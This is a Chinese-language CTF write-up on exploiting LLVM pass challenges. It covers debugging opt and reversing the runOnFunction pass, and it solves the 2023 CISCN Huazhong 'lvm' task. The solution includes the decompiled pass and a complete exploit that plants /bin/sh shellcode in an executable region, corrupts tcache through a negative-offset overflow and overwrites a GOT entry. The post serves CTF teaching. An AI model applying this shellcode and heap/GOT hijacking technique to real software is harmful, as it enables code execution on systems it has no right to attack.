Pwn.I wanna be a llvm passer
2024-01-26 22:38:52 # CTF

overview

华中赛遇到了一个llvm的题,顺手系统总结一下llvm pass吧。

首先简单介绍一下llvm,llvm是一套用C++编写的编译器基础设施。LLVM Pass提供了一些可供重写的函数,本义是用来实现一些优化。而Pwn的llvm pass类题,就是重写了runOnFunction函数。

ll和bc是llvm生成的IR的两种形式,分别是适合人类阅读的文本形式和二进制形式,可以用如下命令转换。

1
2
3
4
5
.c -> .ll:clang -emit-llvm -S a.c -o a.ll
.c -> .bc: clang -emit-llvm -c a.c -o a.bc
.ll -> .bc: llvm-as a.ll -o a.bc
.bc -> .ll: llvm-dis a.bc -o a.ll
.bc -> .s: llc a.bc -o a.s

由于笔者实机为Fedora, 所以笔者使用ubuntu docker 来安装llvm和clang,在需要调试时,将相应共享库导入到本地,用patchelf来更改软链接,还是在docker中配置调试环境比较方便.jpg

启动一个ubuntu:20.04的container,如下安装并配置好调试环境即可

1
2
3
4
5
6
7
8
sudo apt install clang-8
sudo apt install llvm-8

sudo apt install clang-10
sudo apt install llvm-10

sudo apt install clang-12
sudo apt install llvm-12

opt就是所要pwn掉的对象,他是llvm的优化器,可以加载指定pass模块和exp对应ll代码,由于opt一般无PIE保护,所以一般通过覆盖got表来实现劫持控制流。自己安装的opt路径为/usr/lib/llvm-xx/bin/opt

so分析

如何定位重写的 runOnFunction 函数呢?
首先定位到.data.rel.ro 段的vtable,其最后一项就是此函数。
1

另一种定位方法:

  • 首先找到注册的Pass的字符串。
    这里IDA没有自动识别,将Hello字符串更改类型并命名

    然后通过交叉引用找到Pass注册函数

    跟进sub_7e10

    跟进sub_7F90

    继续跟进

此处unk_FD48即为虚表地址。

函数对照

  • getName():获取当前处理的函数名
  • getOpcodeName():获取操作符名称
  • getOpcodeName()函数用于获取指令的操作符的名称
  • getNumOperands()用于获取指令的操作数的个数
  • getOpcode()函数用于获取指令的操作符编号,在/usr/include/llvm-xx/llvm/IR/Instruction.def可以找到编号和操作符的对应表
  • getOperand(i)是用于获取第i个操作数(在这里就是获取所调用函数的第i个参数),getArgOperand()函数与其用法类似,但只能获取参数,getZExtValue()即get Zero Extended Value,也就是将获取的操作数转为无符号扩展整数。

调试

调试实际上是调试opt,所以采用如下方法调试即可:

1
gdb ./opt

先用gdb调试opt

1
2
set args -load ./<pass so name>.so -<pass name> exp.ll
start

再设置参数加载pass

1
n <一系列call指令数>

在开始的200左右个call指令后,pass.so才会加载进内存

1
b *<pass加载地址>+<偏移>

注意事项

  1. heap

由于opt是一个较为复杂的软件,运行过程中,存在相当多的无关chunk的分配,而且,由于exp.ll会被加载进入内存,即使exp变动的很小,chunk布局也可能会发生改变,因此需要小心注意chunk之间的偏移,可以考虑预先多分配一些chunk填充,方便之后更改偏移。

  1. got
    如何选择覆写的got表?

首先通过调用链确定runOnFunction 的调用位置。

然后通过finish 返回到main后,查找后面使用到的got表即可

example

2023-ciscn-huazhong-lvm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
__int64 __fastcall sub_8050(__int64 a1, llvm::Function *a2)
{
__int64 v2; // rdx
llvm::BasicBlock *v3; // rax
llvm::BasicBlock *v4; // rax
llvm::Instruction *v5; // rax
llvm::Value *CalledFunction; // rax
__int64 v7; // rdx
__int64 ArgOperand; // rax
llvm::ConstantInt *v9; // rax
__int64 v10; // rax
__int64 v11; // rax
llvm::User *v12; // rax
__int64 v13; // rax
llvm::ConstantInt *v14; // rax
llvm::User *v15; // rax
__int64 v16; // rax
llvm::ConstantInt *v17; // rax
__int64 v18; // rax
llvm::ConstantInt *v19; // rax
__int64 v20; // rax
llvm::ConstantInt *v21; // rax
llvm::User *v22; // rax
__int64 v23; // rax
llvm::ConstantInt *v24; // rax
__int64 v25; // rax
llvm::ConstantInt *v26; // rax
char v28; // [rsp+Eh] [rbp-182h]
char v29; // [rsp+Fh] [rbp-181h]
int v30; // [rsp+10h] [rbp-180h]
int v31; // [rsp+14h] [rbp-17Ch]
__int64 v32; // [rsp+18h] [rbp-178h] BYREF
__int64 v33; // [rsp+20h] [rbp-170h] BYREF
__int64 v34[2]; // [rsp+28h] [rbp-168h] BYREF
__int64 v35; // [rsp+38h] [rbp-158h]
__int64 v36; // [rsp+40h] [rbp-150h]
__int64 v37[2]; // [rsp+48h] [rbp-148h] BYREF
__int64 v38; // [rsp+58h] [rbp-138h]
__int64 v39; // [rsp+60h] [rbp-130h]
int v40; // [rsp+6Ch] [rbp-124h]
int v41; // [rsp+70h] [rbp-120h]
int v42; // [rsp+74h] [rbp-11Ch]
__int64 v43; // [rsp+78h] [rbp-118h] BYREF
__int64 v44; // [rsp+80h] [rbp-110h] BYREF
__int64 v45; // [rsp+88h] [rbp-108h] BYREF
__int64 v46[2]; // [rsp+90h] [rbp-100h] BYREF
__int64 v47; // [rsp+A0h] [rbp-F0h]
__int64 v48; // [rsp+A8h] [rbp-E8h]
int v49; // [rsp+B4h] [rbp-DCh]
__int64 v50; // [rsp+B8h] [rbp-D8h] BYREF
_QWORD v51[2]; // [rsp+C0h] [rbp-D0h] BYREF
__int64 v52; // [rsp+D0h] [rbp-C0h]
__int64 v53; // [rsp+D8h] [rbp-B8h]
int i; // [rsp+E4h] [rbp-ACh]
void *v55; // [rsp+E8h] [rbp-A8h]
int ZExtValue; // [rsp+F4h] [rbp-9Ch]
__int64 Operand; // [rsp+F8h] [rbp-98h] BYREF
_QWORD v58[2]; // [rsp+100h] [rbp-90h] BYREF
__int64 v59; // [rsp+110h] [rbp-80h]
__int64 v60; // [rsp+118h] [rbp-78h]
__int64 Name; // [rsp+120h] [rbp-70h]
__int64 v62; // [rsp+128h] [rbp-68h]
llvm::CallBase *v63; // [rsp+130h] [rbp-60h]
__int64 v64; // [rsp+138h] [rbp-58h] BYREF
__int64 v65; // [rsp+140h] [rbp-50h] BYREF
__int64 v66; // [rsp+148h] [rbp-48h] BYREF
__int64 v67; // [rsp+150h] [rbp-40h] BYREF
__int64 v68; // [rsp+158h] [rbp-38h] BYREF
_QWORD v69[3]; // [rsp+160h] [rbp-30h] BYREF
llvm::Function *v70; // [rsp+178h] [rbp-18h]
__int64 v71; // [rsp+180h] [rbp-10h]
char v72; // [rsp+18Fh] [rbp-1h]

v71 = a1;
v70 = a2;
v69[1] = llvm::Value::getName(a2);
v69[2] = v2;
v68 = llvm::Function::end(a2);
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,true>::ilist_iterator<false>(
v69,
&v68,
0LL);
v66 = llvm::Function::begin(v70);
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,true>::ilist_iterator<false>(
&v67,
&v66,
0LL);
while ( (llvm::operator!=(&v67, v69) & 1) != 0 )
{
v3 = (llvm::BasicBlock *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,true>::operator->(&v67);
v65 = llvm::BasicBlock::begin(v3);
v4 = (llvm::BasicBlock *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,true>::operator->(&v67);
v64 = llvm::BasicBlock::end(v4);
while ( (llvm::operator!=(&v65, &v64) & 1) != 0 )
{
v5 = (llvm::Instruction *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,true>::operator->(&v65);
if ( (unsigned int)llvm::Instruction::getOpcode(v5) == 56 )
{
v63 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,true>>(&v65);
CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v63);
Name = llvm::Value::getName(CalledFunction);
v62 = v7;
v59 = Name;
v60 = v7;
llvm::StringRef::StringRef((std::_Function_base *)v58, "Add");
if ( (llvm::operator==(v59, v60, v58[0], v58[1]) & 1) != 0 )
{
Operand = llvm::CallBase::getOperand(v63, 0);
if ( (llvm::isa<llvm::ConstantInt,llvm::Value *>(&Operand) & 1) == 0 )
{
v10 = llvm::errs((llvm *)&Operand);
v11 = llvm::raw_ostream::operator<<(v10, "Error argument");
llvm::raw_ostream::operator<<(v11, "\n");
v72 = 0;
return v72 & 1;
}
ArgOperand = llvm::CallBase::getArgOperand(v63, 0);
v9 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOperand);
ZExtValue = llvm::ConstantInt::getZExtValue(v9);
v55 = 0LL;
v55 = malloc(ZExtValue);
if ( !v55 )
{
perror("malloc");
v72 = 0;
return v72 & 1;
}
for ( i = 0; i < 32; ++i )
{
if ( !*((_QWORD *)&addrList + i) )
{
*((_QWORD *)&addrList + i) = v55;
break;
}
}
}
else
{
v52 = Name;
v53 = v62;
llvm::StringRef::StringRef((std::_Function_base *)v51, "Del");
if ( (llvm::operator==(v52, v53, v51[0], v51[1]) & 1) != 0 )
{
v12 = (llvm::User *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,true>::operator->(&v65);
if ( (unsigned int)llvm::User::getNumOperands(v12) != 2 )
{
printf("ERROR argument size");
v72 = 0;
return v72 & 1;
}
v50 = llvm::CallBase::getOperand(v63, 0);
if ( (llvm::isa<llvm::ConstantInt,llvm::Value *>(&v50) & 1) != 0 )
{
v13 = llvm::CallBase::getArgOperand(v63, 0);
v14 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13);
v49 = llvm::ConstantInt::getZExtValue(v14);
if ( !*((_QWORD *)&addrList + v49) || v49 >= 32 )
{
v72 = 0;
return v72 & 1;
}
free(*((void **)&addrList + v49));
*((_QWORD *)&addrList + v49) = 0LL;
}
}
else
{
v47 = Name;
v48 = v62;
llvm::StringRef::StringRef((std::_Function_base *)v46, "Edit");
if ( (llvm::operator==(v47, v48, v46[0], v46[1]) & 1) != 0 )
{
v15 = (llvm::User *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,true>::operator->(&v65);
if ( (unsigned int)llvm::User::getNumOperands(v15) != 4 )
goto LABEL_28;
v45 = llvm::CallBase::getOperand(v63, 0);
v29 = 0;
if ( (llvm::isa<llvm::ConstantInt,llvm::Value *>(&v45) & 1) != 0 )
{
v44 = llvm::CallBase::getOperand(v63, 1u);
v29 = 0;
if ( (llvm::isa<llvm::ConstantInt,llvm::Value *>(&v44) & 1) != 0 )
{
v43 = llvm::CallBase::getOperand(v63, 2u);
v29 = llvm::isa<llvm::ConstantInt,llvm::Value *>(&v43);
}
}
if ( (v29 & 1) != 0 )
{
v16 = llvm::CallBase::getArgOperand(v63, 0);
v17 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v16);
v42 = llvm::ConstantInt::getZExtValue(v17);
v18 = llvm::CallBase::getArgOperand(v63, 1u);
v19 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v18);
v41 = llvm::ConstantInt::getZExtValue(v19);
v20 = llvm::CallBase::getArgOperand(v63, 2u);
v21 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v20);
v40 = llvm::ConstantInt::getZExtValue(v21);
if ( !*((_QWORD *)&addrList + v42) || v42 >= 32 )
{
v72 = 0;
return v72 & 1;
}
*(_DWORD *)(*((_QWORD *)&addrList + v42) + 4LL * v41) = v40;
}
}
else
{
v38 = Name;
v39 = v62;
llvm::StringRef::StringRef((std::_Function_base *)v37, "Alloc");
if ( (llvm::operator==(v38, v39, v37[0], v37[1]) & 1) != 0 )
{
mmap(&off_10000, 0x1000uLL, 7, 33, 0, 0LL);
}
else
{
v35 = Name;
v36 = v62;
llvm::StringRef::StringRef((std::_Function_base *)v34, "EditAlloc");
if ( (llvm::operator==(v35, v36, v34[0], v34[1]) & 1) != 0 )
{
v22 = (llvm::User *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,true>::operator->(&v65);
if ( (unsigned int)llvm::User::getNumOperands(v22) != 3 )
{
LABEL_28:
printf("Error argument size");
v72 = 0;
return v72 & 1;
}
v33 = llvm::CallBase::getOperand(v63, 0);
v28 = 0;
if ( (llvm::isa<llvm::ConstantInt,llvm::Value *>(&v33) & 1) != 0 )
{
v32 = llvm::CallBase::getOperand(v63, 1u);
v28 = llvm::isa<llvm::ConstantInt,llvm::Value *>(&v32);
}
if ( (v28 & 1) != 0 )
{
v23 = llvm::CallBase::getArgOperand(v63, 0);
v24 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v23);
v31 = llvm::ConstantInt::getZExtValue(v24);
v25 = llvm::CallBase::getArgOperand(v63, 1u);
v26 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);
v30 = llvm::ConstantInt::getZExtValue(v26);
if ( !*((_QWORD *)&addrList + v31) || v31 >= 32 || v30 >= 256 )
{
v72 = 0;
return v72 & 1;
}
*(_DWORD *)(v30 + 0x10000) = **((_DWORD **)&addrList + v31);
}
}
}
}
}
}
}
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,true>::operator++(&v65);
}
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,true>::operator++(&v67);
}
v72 = 0;
return v72 & 1;
}

实现了一个类似菜单堆的面板,通过Alloc可以分配一块位于0x10000的可执行区域,在此写入shellcode,Edit存在溢出,可以使用负偏移从而改写tcache管理结构体,这里考虑将0x40的链表改写成oprator delete(void*) 的got表的位置,并且将其剩余数量改写为1,以防止继续分配coredump,之后覆写got表为0x10000。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>

void Add(int size);
// Add any size
void Del(int idx);
// Del
void Edit(int idx, int offset, unsigned int num);
// Alloc
void Alloc(void);
void EditAlloc(int num, int offset);
// write got
/*
"\x48\x31\xf6\x56
0x56f63148
\x48\xbf\x2f\x62
0x622fbf48
\x69\x6e\x2f\x2f
0x2f2f6e69
\x73\x68\x57\x54"
0x54576873
"\x5f\xb0\x3b\x99
0x993bb05f
\x0f\x05"
*/
int main()
{
Add(0); // 0
Edit(0, 0, 0x56f63148);
Add(0); // 1
Edit(1, 0, 0x622fbf48);
Add(0); // 2
Edit(2, 0, 0x2f2f6e69);
Add(0); // 3
Edit(3, 0, 0x54576873);
Add(0); // 4
Edit(4, 0, 0x993bb05f);
Add(0); // 5
Edit(5, 0, 0x050f);
Alloc();
EditAlloc(0, 0);
EditAlloc(1, 4);
EditAlloc(2, 4 * 2);
EditAlloc(3, 4 * 3);
EditAlloc(4, 4 * 4);
EditAlloc(5, 4 * 5);
// set tcache 0x40 num and link
Edit(0, -0x25d6f, 1);
Edit(0, -0x25d4c, (0x78B000));
// make opretor delete got to 0x10000
Add(0x30); // 6
Edit(6, 1, 0);
Edit(6, 0, 0x10000);
// Add(0);
}